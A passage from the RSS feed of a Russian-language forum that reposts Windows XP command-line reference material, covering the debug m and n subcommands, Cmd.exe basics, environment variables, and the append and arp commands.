						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Параметр диапазон используется в подкомандах debug для задания диапазона памяти. Параметр диапазон можно задать в одном из следующих форматов: начальный адрес и конечный адрес или начальный адрес и длина (обозначаемая l) диапазона. Например, оба следующих выражения задают диапазон из 16 байтов, начинающийся с адреса CS:100:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; cs:100 10f&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; cs:100 l 10&lt;br /&gt;&amp;#160; &amp;#160; * Задание правильных записей адреса&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Адрес состоит из двух частей: первая содержит буквенное обозначение сегментного регистра или адрес сегмента из четырех цифр, а вторая содержит значение смещения. Адрес сегмента или сегментный регистр могут быть пропущены. По умолчанию для подкоманд a, g, l, t, u и w команды debug адрес сегмента содержится в регистре CS. Для других подкоманд по умолчанию используется сегмент DS. Все числовые значения при этом представлены в шестнадцатеричном формате. Между именем сегмента и значением смещения следует вставлять двоеточие. Следующие адреса являются допустимыми:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; CS:0100&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 04BA:0100&lt;br /&gt;&amp;#160; &amp;#160; * Копирование данных&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если адреса в копируемом блоке памяти заданы так, что в этот блок не записываются новые данные, то информация в этом блоке не изменяется. Если же операция копирования является перекрывающей, перекрывающиеся данные перезаписываются. (Операция копирования является перекрывающей, если два блока памяти имеют общую часть).&lt;br /&gt;&amp;#160; &amp;#160; * Перекрывающееся копирование двух областей памяти&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Подкоманда m выполняет перекрывающее копирование без потери данных в области назначения. Содержимое адресов, которые будут перезаписаны, копируется в первую очередь. Если данные копируются из старших адресов в младшие адреса, операция копирования начинается с младшего адреса исходного блока и продолжается в направлении старшего адреса. И наоборот, если данные копируются из младших адресов в старшие, копирование начинается со старших адресов исходного блока и продолжается в направлении младшего адреса.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы скопировать содержимое адресов с CS:110 по CS:510, а затем с CS:10F по CS:50F и так далее, пока все содержимое адресов с CS:100 по CS:500 не будет скопировано, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;mcs:100 110 cs:500&lt;/p&gt;
						&lt;p&gt;Чтобы просмотреть результаты, воспользуйтесь подкомандой d (dump), указав адреса, заданные в подкоманде m.&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Debug: n (name)&lt;/p&gt;
						&lt;p&gt;Задание имени исполняемого файла для команд debug l (load) или w (write) или задание параметров для отлаживаемого исполняемого файла. Выполненная без параметров подкоманда n очищает текущие значения.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;n [путь][исполняемый_файл]&lt;/p&gt;
						&lt;p&gt;n [параметры_файла]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;[путь][исполняемый_файл&lt;br /&gt;&amp;#160; &amp;#160; Задание расположения и имени исполняемого файла для тестирования.&lt;br /&gt;[параметры_файла]&lt;br /&gt;&amp;#160; &amp;#160; Задание параметров и ключей командной строки для тестируемого исполняемого файла.&lt;br /&gt;?&lt;br /&gt;&amp;#160; &amp;#160; Вывод списка подкоманд debug.&lt;/p&gt;
						&lt;p&gt;Примечания&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; *&lt;br /&gt;&amp;#160; &amp;#160; * Использование подкоманды n&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Подкоманду n можно использовать двумя способами. Во-первых, для задания имени файла для последующих подкоманд l (load) или w (write). Если программа Debug.exe вызвана без задания имени файла для отладки, команда n имя_файла должна быть вызвана перед использованием команды l для загрузки файла. Имя файла форматируется соответствующим образом для контрольного блока файла (FCB) по адресу CS:5C. Во-вторых, подкоманда n может использоваться для задания параметров и ключей командной строки отлаживаемого файла.&lt;br /&gt;&amp;#160; &amp;#160; * Области памяти&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; В следующей таблице перечислены четыре области памяти, которые используются командой n.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Область памяти 	Contents&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; CS:5C 	Блок управления файлом (FCB) для файла 1&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; CS:6C 	Блок управления файлом (FCB) для файла 2&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; CS:80 	Длина строки команды n (в символах)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; CS:81 	Начало строки команды n&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Первое имя файла, задаваемое командой n, размещается в блоке управления файлом по адресу CS:5C. Если задано второе имя, оно помещается в блок управления файлом по адресу CS:6C. Количество символов в командной строке команды n (кроме первого символа, n) сохраняется по адресу CS:80. Собственно командная строка n (снова без символа n) сохраняется, начиная с адреса CS:81. Эти символы могут быть любыми параметрами и разделителями, которые допустимо вводить с командной строки в Windows 2000.&lt;br /&gt;&amp;#160; &amp;#160; * Сведения о загрузке содержимого файла или определенных секторов диска в память с помощью команды Debug L (Load) см. по ссылке «».&lt;br /&gt;&amp;#160; &amp;#160; * Сведения о записи отлаживаемого файла на диск с помощью подкоманды w (write) см. по ссылке «».&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;В этом примере запускается команда debug и загружается программа Prog.com для отладки. Чтобы указать два параметра для программы Prog.com и запустить эту программу, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;debug prog.com&lt;br /&gt;nparam1 param2&lt;br /&gt;g&lt;/p&gt;
						&lt;p&gt;В этом случае подкоманда g (go) запускает программу так, как если бы она была запущена с командной строки в виде:&lt;/p&gt;
						&lt;p&gt;prog param1 param2&lt;/p&gt;
						&lt;p&gt;При тестировании и отладке создается среда времени исполнения для программы Prog.com.&lt;/p&gt;
						&lt;p&gt;В следующей последовательности команд первая подкоманда n задает имя файла File1.exe для последующей подкоманды l (load), которая загружает файл File1.exe в память. Вторая подкоманда n задает параметры для файла File1.exe. Наконец, подкоманда g запускает File1.exe так, как если бы с командной строки было бы введено File1 File2.dat File2.dat.&lt;/p&gt;
						&lt;p&gt;nfile1.exe&lt;br /&gt;l&lt;br /&gt;nfile2.dat file3.dat&lt;br /&gt;g&lt;/p&gt;
						&lt;p&gt;После команды l во втором экземпляре команда n не используется. Если подкоманда w (write) используется во втором экземпляре подкоманды n, файл File1.exe (т. е. отлаживаемый) сохраняется под именем File2.dat. Чтобы этого не произошло, всегда вызывайте команду l или w сразу же после команды n в первой форме.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Fri, 13 Mar 2009 15:24:19 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=21#p21</guid>
		</item>
		<item>
			<title>Часть-1</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=20#p20</link>
			<description>&lt;p&gt;Общие сведения о командной оболочке&lt;/p&gt;
						&lt;p&gt;Командная оболочка — это отдельный программный продукт, который обеспечивает прямую связь между пользователем и операционной системой. Текстовый пользовательский интерфейс командной строки предоставляет среду, в которой выполняются приложения и служебные программы с текстовым интерфейсом. В командной оболочке программы выполняются и результат выполнения отображается на экране в виде, сходном с интерпретатором Command.com MS-DOS. Командная оболочка Windows XP использует интерпретатор команд Cmd.exe, который загружает приложения и направляет поток данных между приложениями, для перевода введенной команды в понятный системе вид.&lt;/p&gt;
						&lt;p&gt;Имеется возможность использовать командную оболочку для создания и редактирования пакетных файлов (также называемых сценариями), что позволит автоматизировать выполнение обычных задач. Например, можно использовать сценарии для автоматизации управления учетными записями пользователей и ежедневной архивацией в нерабочие часы. Также можно использовать сервер сценариев Windows, CScript.exe, для выполнения в командной оболочке сложных сценариев. Выполнение операций с помощью пакетных файлов является более эффективным, чем с помощью интерфейса пользователя. Пакетные файлы принимают все команды, доступные из командной строки. Дополнительные сведения о пакетных файлах и создании сценариев см. в разделе Использование пакетных файлов.&lt;/p&gt;
						&lt;p&gt;Имеется возможность настроить окно командной строки для облегчения просмотра и для увеличения контроля за выполнением программ. Дополнительные сведения о настройке окна командной строки см. в разделе Настройка командной строки.&lt;br /&gt;Использование синтаксиса команд&lt;/p&gt;
						&lt;p&gt;Синтаксическая структура выводится в том порядке, в котором следует вводить команду и следующие за ней параметры, если они есть. Следующий пример команды xcopy иллюстрирует разнообразие синтаксических форматов текста.&lt;/p&gt;
						&lt;p&gt;xcopy источник [результат] [/w] [/p] [/c] [/v] [/q] [/f] [/l] [/g] [/d[:мм-дд-гггг]] [/u] [/i] [/s [/e]] [/t] [/k] [/r] [/h] [{/a|/m}] [/n] [/o] [/x] [/exclude:файл1[+[файл2]][+[файл3]] [{/y|/-y}] [/z]&lt;/p&gt;
						&lt;p&gt;В следующей таблице показано, как следует интерпретировать различные текстовые форматы.&lt;br /&gt;Использование нескольких команд и символов условной обработки&lt;/p&gt;
						&lt;p&gt;Можно выполнять несколько команд из одной командной строки или сценария с помощью сиволов условной обработки. При использовании нескольких команд, содержащих символы условной обработки, выполнение команд, стоящих справа от символа условной обработки, будет проводиться в зависимости от результатов выполнения команды, стоящей слева от символа. Например, требуется, чтобы команда выполнялась, только если предыдущая команда не была выполнена успешно. Или требуется, чтобы команда выполнялась, только если предыдущая команда была выполнена успешно.&lt;/p&gt;
						&lt;p&gt;Для передачи нескольких команд можно использовать специальные символы, перечисленные в следующей таблице.&lt;br /&gt;Символ 	Синтаксис 	Определение&lt;br /&gt;&amp;amp; [...] 	команда1 &amp;amp; команда2 	Используется для разделения нескольких команд в одной командной строке. В Cmd.exe выполняется первая команда, затем вторая команда.&lt;br /&gt;&amp;amp;&amp;amp; [...] 	команда1 &amp;amp;&amp;amp; команда2 	Запускает команду, стоящую за символом &amp;amp;&amp;amp;, только если команда, стоящая перед этим символом была выполнена успешно. В Cmd.exe выполняется первая команда. Вторая команда выполняется, только если первая была выполнена успешно.&lt;br /&gt;|| [...] 	команда1 || команда2 	Запускает команду, стоящую за символом ||, только если команда, стоящая перед символом || не была выполнена. В Cmd.exe выполняется первая команда. Вторая команда выполняется, только если первая не была выполнена (полученный код ошибки превышает ноль).&lt;br /&gt;( ) [...] 	(команда1 &amp;amp; команда2) 	Используется для группировки или вложения команд.&lt;br /&gt;; или , 	команда1 параметр1;параметр2 	Используется для разделения параметров команды.&lt;/p&gt;
						&lt;p&gt;Примечания&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Амперсанд (&amp;amp;), вертикальная черта (|) и скобки ( ) являются специальными символами, которым должен предшествовать управляющий символ (^) или кавычки, если эти символы передаются в качестве аргументов.&lt;br /&gt;&amp;#160; &amp;#160; * Если команда завершает операцию успешно, возвращается нулевой (0) код ошибки или не возвращается никакого кода. Дополнительные сведения о кодах завершения см. в разделе Пакеты Microsoft Windows Resource Kits.&lt;/p&gt;
						&lt;p&gt;Вложенные командные оболочки&lt;/p&gt;
						&lt;p&gt;Имеется возможность вкладывать командные оболочки в Cmd.exe, открывая новый экземпляр Cmd.exe из командной строки. По умолчанию каждый экземпляр Cmd.exe наследует среду своего родительского приложения Cmd.exe. Вложение экземпляров Cmd.exe позволяет вносить в локальную среду изменения, которые не повлияют на родительское приложение Cmd.exe. Это позволяет сохранять исходную среду Cmd.exe и возвращаться к ней после удаления вложенной командной оболочки. Изменения вложенной командной оболочки не сохраняются.&lt;/p&gt;
						&lt;p&gt;Чтобы создать вложенную командную оболочку, в командной строке введите:&lt;/p&gt;
						&lt;p&gt;cmd&lt;/p&gt;
						&lt;p&gt;Появится сообщение следующего вида:&lt;br /&gt;Microsoft (R) Windows XP (TM)&lt;br /&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;/p&gt;
						&lt;p&gt;Чтобы закрыть все вложенные командные оболочки, введите команду exit.&lt;/p&gt;
						&lt;p&gt;Можно еще уже локализовать изменения в экземпляре Cmd.exe (или в сценарии) с помощью команд setlocal и endlocal. Команда setlocal создает локальную область, а endlocal ее удаляет. Любые изменения, сделанные внутри области, созданной командами setlocal и endlocal, не учитываются; таким образом исходная среда остается без изменений. С помощью этих команд можно создать до 32 вложенных областей. Дополнительные сведения о командах setlocal и endlocal см. в разделах Setlocal и Endlocal.&lt;br /&gt;Использование переменных среды в Cmd.exe&lt;/p&gt;
						&lt;p&gt;Среда командной оболочки Cmd.exe определяется переменными, задающими поведение командной оболочки и операционной системы. Имеется возможность определить поведение среды командной оболочки или среды всей операционной системы с помощью двух типов переменных среды: системных и локальных. Системные переменные среды определяют поведение глобальной среды операционной системы. Локальные переменные среды определяют поведение среды в данном экземпляре Cmd.exe.&lt;/p&gt;
						&lt;p&gt;Системные переменные среды заданы заранее в операционной системе и доступны для всех процессов Windows XP. Только пользователи с привилегиями администратора могут изменять эти переменные. Эти переменные наиболее часто используются в сценариях входа в систему.&lt;/p&gt;
						&lt;p&gt;Локальные переменные среды доступны, только когда пользователь, для которого они были созданы, вошел в систему. Локальные переменные из куста HKEY_CURRENT_USER подходят только для текущего пользователя, но определяют поведение глобальной среды операционной системы.&lt;/p&gt;
						&lt;p&gt;В следующем списке представлены различные типы переменных в порядке убывания приоритета.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;1. Встроенные системные переменные&lt;br /&gt;&amp;#160; &amp;#160;2. Системные переменные куста HKEY_LOCAL_MACHINE&lt;br /&gt;&amp;#160; &amp;#160;3. Локальные переменные куста HKEY_CURRENT_USER&lt;br /&gt;&amp;#160; &amp;#160;4. Все переменные среды и пути указаны в файле Autoexec.bat.&lt;br /&gt;&amp;#160; &amp;#160;5. Все переменные среды и пути указаны в сценарии входа в систему (если он имеется).&lt;br /&gt;&amp;#160; &amp;#160;6. Переменные, используемые интерактивно в сценарии или пакетном файле&lt;/p&gt;
						&lt;p&gt;В командной оболочке каждый экземпляр Cmd.exe наследует среду своего родительского приложения. Поэтому можно изменять переменные в новой среде Cmd.exe, что не повлияет на среду родительского приложения.&lt;/p&gt;
						&lt;p&gt;В следующей таблице приведен список системных и локальных переменных среды для Windows XP.&lt;br /&gt;Переменная 	Тип 	Описание&lt;br /&gt;%ALLUSERSPROFILE% 	Локальная 	Возвращает размещение профиля «All Users».&lt;br /&gt;%APPDATA% 	Локальная 	Возвращает используемое по умолчанию размещение данных приложений.&lt;br /&gt;%CD% 	Локальная 	Возвращает путь к текущей папке.&lt;br /&gt;%CMDCMDLINE% 	Локальная 	Возвращает строку команд, с помощью которой был запущен данный экземпляр Cmd.exe.&lt;br /&gt;%CMDEXTVERSION% 	Системная 	Возвращает номер версии текущих расширений обработчика команд.&lt;br /&gt;%COMPUTERNAME% 	Системная 	Возвращает имя компьютера.&lt;br /&gt;%COMSPEC% 	Системная 	Возвращает путь к исполняемой командной оболочке.&lt;br /&gt;%DATE% 	Системная 	Возвращает текущие данные. Использует тот же формат, что и команда date /t. Создается командой Cmd.exe. Дополнительные сведения о команде date см. в разделе Date.&lt;br /&gt;%ERRORLEVEL% 	Системная 	Возвращает код ошибки последней использовавшейся команды. Значение, не равное нуля, обычно указывает на наличие ошибки.&lt;br /&gt;%HOMEDRIVE% 	Системная 	Возвращает имя диска локальной рабочей станции, связанного с основным каталогом пользователя. Задается на основании расположения основного каталога. Основной каталог пользователя указывается в оснастке «Локальные пользователи и группы».&lt;br /&gt;%HOMEPATH% 	Системная 	Возвращает полный путь к основному каталогу пользователя. Задается на основании расположения основного каталога. Основной каталог пользователя указывается в оснастке «Локальные пользователи и группы».&lt;br /&gt;%HOMESHARE% 	Системная 	Возвращает сетевой путь к общему основному каталогу пользователя. Задается на основании расположения основного каталога. Основной каталог пользователя указывается в оснастке «Локальные пользователи и группы».&lt;br /&gt;%LOGONSEVER% 	Локальная 	Возвращает имя контроллера домена, который проверял подлинность текущей сессии.&lt;br /&gt;%NUMBER_OF_PROCESSORS% 	Системная 	Задает количество процессоров, установленных на компьютере.&lt;br /&gt;%OS% 	Системная 	Возвращает имя операционной системы. При использовании Windows 2000 имя операционной системы отображается как Windows_NT.&lt;br /&gt;%PATH% 	Системная 	Указывает путь поиска для исполняемых файлов.&lt;br /&gt;%PATHEXT% 	Системная 	Возвращает список расширений файлов, которые рассматриваются операционной системой как исполняемые.&lt;br /&gt;%PROCESSOR_ARCHITECTURE% 	Системная 	Возвращает архитектуру процессора. Значения: x86, IA64.&lt;br /&gt;%PROCESSOR_IDENTFIER% 	Системная 	Возвращает описание процессора.&lt;br /&gt;%PROCESSOR_LEVEL% 	Системная 	Возвращает номер модели процессора, установленного на компьютере.&lt;br /&gt;%PROCESSOR_REVISION% 	Системная 	Возвращает номер модификации процессора.&lt;br /&gt;%PROMPT% 	Локальная 	Возвращает параметры командной строки для текущего интерпретатора. Создается командой Cmd.exe.&lt;br /&gt;%RANDOM% 	Системная 	Возвращает произвольное десятичное число от 0 до 32767. Создается командой Cmd.exe.&lt;br /&gt;%SYSTEMDRIVE% 	Системная 	Возвращает имя диска, содержащего корневой каталог Windows XP (т. е. системный каталог).&lt;br /&gt;%SYSTEMROOT% 	Системная 	Возвращает размещение системного каталога Windows XP.&lt;br /&gt;%TEMP% и %TMP% 	Системная и пользовательская 	Возвращает временные папки, по умолчанию используемые приложениями, которые доступны пользователям, выполнившим вход в систему. Некоторые приложения требуют переменную TEMP, другие — переменную TMP.&lt;br /&gt;%TIME% 	Системная 	Возвращает текущее время. Использует тот же формат, что и команда time /t. Создается командой Cmd.exe. Дополнительные сведения о команде time см. в разделе Time.&lt;br /&gt;%USERDOMAIN% 	Локальная 	Возвращает имя домена, содержащего список учетных записей пользователей.&lt;br /&gt;%USERNAME% 	Локальная 	Возвращает имя пользователя, выполнившего вход в систему.&lt;br /&gt;%USERPROFILE% 	Локальная 	Возвращает размещение профиля для текущего пользователя.&lt;br /&gt;%WINDIR% 	Системная 	Возвращает размещение каталога операционной системы.&lt;br /&gt;Установка переменных среды&lt;/p&gt;
						&lt;p&gt;Используйте команду set для создания, удаления или отображения переменных среды. Команда set изменяет переменные только в среде текущей оболочки.&lt;/p&gt;
						&lt;p&gt;Чтобы отобразить переменную, в командной строке введите:&lt;/p&gt;
						&lt;p&gt;set имя_переменной&lt;/p&gt;
						&lt;p&gt;Чтобы добавить переменную, в командной строке введите:&lt;/p&gt;
						&lt;p&gt;set variablename=значение&lt;/p&gt;
						&lt;p&gt;Чтобы удалить переменную, в командной строке введите:&lt;/p&gt;
						&lt;p&gt;set имя_переменной=&lt;/p&gt;
						&lt;p&gt;Имеется возможность использовать большинство символов в качестве значений переменных, в том числе пробел. При использовании специальных символов, таких как &amp;lt;, &amp;gt;, &amp;amp;, или ^, перед ними следует помещать управляющий символ (^) или кавычки. При использовании кавычек они включаются в значение переменной, так как все символы, следующие после знака равенства принимаются за значение переменной. Учтите следующие примеры.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Чтобы создать значение переменной new&amp;amp;name ,введите:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; set varname=new^&amp;amp;name&lt;br /&gt;&amp;#160; &amp;#160; * Чтобы создать значение переменной &amp;quot;new&amp;amp;name&amp;quot; ,введите:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; set varname=&amp;quot;new&amp;amp;name&amp;quot;&lt;br /&gt;&amp;#160; &amp;#160; * При вводе в командной строке set varname=new&amp;amp;name появляется следующее сообщение об ошибке:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;quot;&#039;name&#039; is not recognized as an internal or external command, operable program or batch file.&amp;quot;&lt;/p&gt;
						&lt;p&gt;В именах переменных регистр символов не учитывается. Однако, команда set отображает значение переменной так, как оно было введено. Можно комбинировать символы нижнего и верхнего регистра в именах переменных, чтобы облегчить восприятие кода (например, ИмяПользователя).&lt;/p&gt;
						&lt;p&gt;Примечания&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Максимальный размер отдельной переменной среды составляет 8192 байта.&lt;br /&gt;&amp;#160; &amp;#160; * Максимальный общий размер всех переменных среды, включая имена переменных и знак равенства, составляет 65 536 Кбайт.&lt;/p&gt;
						&lt;p&gt;Подстановка значений в переменные среды&lt;/p&gt;
						&lt;p&gt;Чтобы иметь возможность подставлять значения в переменную среды из командной строки или из сценариев, следует заключить имя соответствующей переменной в символы процентов (%имя_переменной%). Символы процентов указывают на то, что Cmd.exe должен обратиться к значениям переменных, а не делать посимвольное сравнение. После определения значения для имени переменной, заключите имя переменной в символы процентов. Cmd.exe проводит поиск всех вхождений имени переменной и заменяет его на определенное значение переменной. Например, требуется создать сценарий, содержащий различные значения (например, имена пользователей), и требуется определить соответствующее значение переменной среды USERNAME для каждого пользователя. Для этого следует написать сценарий с использованием переменной USERNAME, заключенной в кавычки. При выполнении сценария Cmd.exe заменит вхождения %USERNAME% соответствующими значениями, что избавит от необходимости делать это вручную для каждого пользователя. Подстановка значений не является рекурсивной. Cmd.exe проверяет переменные один раз. Дополнительные сведения о подстановке значений в переменные см. в разделах For и Call.&lt;br /&gt;========================================================================================&lt;br /&gt;Append&lt;/p&gt;
						&lt;p&gt;Разрешение программе открывать файлы данных в указанных папках, как будто они находятся в текущей папке. Вызванная без параметров, команда append выводит список присоединенных каталогов.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;append [;] [[диск:]путь[;...]] [/x:{on|off}][/path:{on|off}] [/e]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;;&lt;br /&gt;&amp;#160; &amp;#160; Очищает список папок, заданных в предыдущих вызовах команды append.&lt;br /&gt;[диск:]путь&lt;br /&gt;&amp;#160; &amp;#160; Задает диск и папку, которую требуется присоединить к текущей папке. Если диск не указан, по умолчанию используется текущий диск. Имеется возможность задать несколько комбинаций [диск:]путь, разделенных точкой с запятой.&lt;br /&gt;/x:{on | off}&lt;br /&gt;&amp;#160; &amp;#160; Определяет, будет ли подсистема MS-DOS искать присоединенные папки при выполнении программ. /x:on — поиск присоединенных папок выполняется. /x:off — поиск присоединенных папок не выполняется. &lt;br /&gt;/path:{on|off}&lt;br /&gt;&amp;#160; &amp;#160; Указывает программе на необходимость поиска файлов в присоединенных папках, если имена файлов указаны полностью. По умолчанию используется значение /path:on.&lt;br /&gt;/e&lt;br /&gt;&amp;#160; &amp;#160; Запись списка присоединенных папок в переменную среды APPEND. Этот параметр командной строки можно использовать только при первом вызове команды append после запуска системы.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; *&lt;br /&gt;&amp;#160; &amp;#160; * Сохранение списка присоединенных папок&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Параметр командной строки /e команды append позволяет присвоить список присоединенных папок переменной среды с именем APPEND. Для этого сначала используйте команду append только с параметром командной строки /e. Затем повторно воспользуйтесь командой append, указав папки, которые требуется присоединить. Параметры /e и [диск:]путь не могут использоваться в одной командной строке.&lt;br /&gt;&amp;#160; &amp;#160; * Задание нескольких присоединенных папок&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Чтобы присоединить несколько папок, вводите их, разделяя точками с запятой. При повторном вызове команды append с параметрами [диск:]путь существующий список присоединенных папок в команде append будет заменен новым.&lt;br /&gt;&amp;#160; &amp;#160; * Использование параметра dir&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; При использовании команды dir для вывода списка фалов и подкаталогов каталога имена файлов из присоединенных папок не отображаются.&lt;br /&gt;&amp;#160; &amp;#160; * Разрешение конфликтов имен файлов&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если в имена файлов в текущей и присоединенной папке совпадают, для работы программ открываются файлы текущей папки.&lt;br /&gt;&amp;#160; &amp;#160; * Команда append и создание новых файлов&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если открыт файл в присоединенной папке, то работа с ним ведется так же, как и с файлами текущей папки. Если выполняется сохранение файла путем создания файла с таким же именем, новый файл сохраняется в текущей папке, а не в присоединенной. Команда append используется при работе с файлами данных, которые не изменяются или изменяются без создания новых копий. Например, при работе с базами данных новые копии файлов, как правило, не создаются. Текстовые редакторы и процессоры обычно сохраняют файлы путем создания новых копий. Чтобы избежать некорректной работы, не используйте команду append с такими программами.&lt;br /&gt;&amp;#160; &amp;#160; * Использование параметра /x:on с командой path&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если задан параметр /x:on, программы, находящиеся в присоединенных папках, могут быть запущены просто вводом имени программы в командной строке. Обычно команда path позволяет указать папки, содержащие программы, однако для указания присоединенных папок, содержащих программы, не требуется использовать команду path. Подсистема MS-DOS найдет эту программу с использованием списка присоединенных каталогов. Это вызвано тем, что MS-DOS вначале ищет исполняемый файл программы в текущем каталоге, а затем в каталогах, задаваемых командой .&lt;br /&gt;&amp;#160; &amp;#160; * Сокращение параметра /x:on до /x&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Имеется возможность сократить параметр /x:on до /x. Для этого введите параметр /x:on при первом вызове команды append после запуска системы. После этого можно переключаться между /x:on и /x:off.&lt;br /&gt;&amp;#160; &amp;#160; * Использование параметра /e с командой set&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Воспользовавшись параметром /e с командой set, можно вывести список присоединенных папок. Для получения дополнительных сведений о переменных среды и команде set щелкните ссылку «».&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы получить возможность открывать в программах файлы данных из папок B:\Letters и A:\Reports как из текущей папки, введите:&lt;/p&gt;
						&lt;p&gt;append b:\letters;a:\reports&lt;/p&gt;
						&lt;p&gt;Чтобы присоединить те же самые папки и сохранить копию списка присоединенных файлов в среде Windows XP (эту операцию нужно выполнять при первом вызове команды append после запуска системы), введите:&lt;/p&gt;
						&lt;p&gt;append /e&lt;/p&gt;
						&lt;p&gt;append b:\letters;a:\reports&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Arp&lt;/p&gt;
						&lt;p&gt;Служит для вывода и изменения записей кэша протокола ARP, который содержит одну или несколько таблиц, использующихся для хранения IP-адресов и соответствующих им физических адресов Ethernet или Token Ring. Для каждого сетевого адаптера Ethernet или Token Ring, установленного в компьютере, используется отдельная таблица. Запущенная без параметров, команда arp выводит справку.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;arp [-a [инет_адрес] [-N иф_адрес]] [-g [инет_адрес] [-N иф_адрес]] [-d инет_адрес [иф_адрес]] [- инет_адрес е_адрес [иф_адрес]]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;-a [инет_адрес] [-N иф_адрес]&lt;br /&gt;&amp;#160; &amp;#160; Вывод таблиц текущего протокола ARP для всех интерфейсов. Чтобы вывести записи ARP для определенного IP-адреса, воспользуйтесь командой arp -a с параметром инет_адрес, где инет_адрес — это IP-адрес. Чтобы вывести таблицы кэша ARP для определенного интерфейса, укажите параметр -N иф_адрес, где иф_адрес — это IP-адрес, назначенный интерфейсу. Параметр -N вводится с учетом регистра.&lt;br /&gt;-g [инет_адрес] [-N иф_адрес]&lt;br /&gt;&amp;#160; &amp;#160; Совпадает с -a.&lt;br /&gt;-d инет_адрес [иф_адрес]&lt;br /&gt;&amp;#160; &amp;#160; Удаление записи с определенным IP-адресом, где инет_адрес — это IP-адрес. Чтобы запись таблицы для определенного интерфейса, укажите параметр иф_адрес, где иф_адрес — это IP-адрес, назначенный интерфейсу. Чтобы удалить все записи, введите звездочку (*) вместо параметра инет_адрес.&lt;br /&gt;-s инет_адрес е_адрес [иф_адрес]&lt;br /&gt;&amp;#160; &amp;#160; Добавление статической записи, которая сопоставляет IP-адрес инет_адрес с физическим адресом е_адрес, в кэш ARP. Чтобы добавить статическую запись кэша ARP в таблицу для определенного интерфейса, укажите параметр иф_адрес, где иф_адрес — это IP-адрес, назначенный интерфейсу.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * IP-адреса для параметров инет_адрес и иф_адрес записываются в точечно-десятичной нотации.&lt;br /&gt;&amp;#160; &amp;#160; * Физический адрес для параметра е_адрес состоит из шести байт, записанных в шестнадцатеричном формате и разделенных дефисами (например 00-AA-00-4F-2A-9C).&lt;br /&gt;&amp;#160; &amp;#160; * Записи, добавленные с параметром -s, являются статическими и не удаляются из кэша ARP после истечения периода времени. Записи удаляются, если остановлен и запущен протокол TCP/IP. Чтобы создать постоянные статические записи кэша ARP, введите соответствующие команды arp и воспользуйтесь планировщиком заданий для выполнения этого файла при запуске.&lt;br /&gt;&amp;#160; &amp;#160; * Эта команда доступна, только если в свойствах сетевого адаптера в объекте Сетевые подключения в качестве компонента установлен протокол Интернета (TCP/IP).&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы вывести таблицы кэша ARP для всех интерфейсов, введите:&lt;/p&gt;
						&lt;p&gt;arp -a&lt;/p&gt;
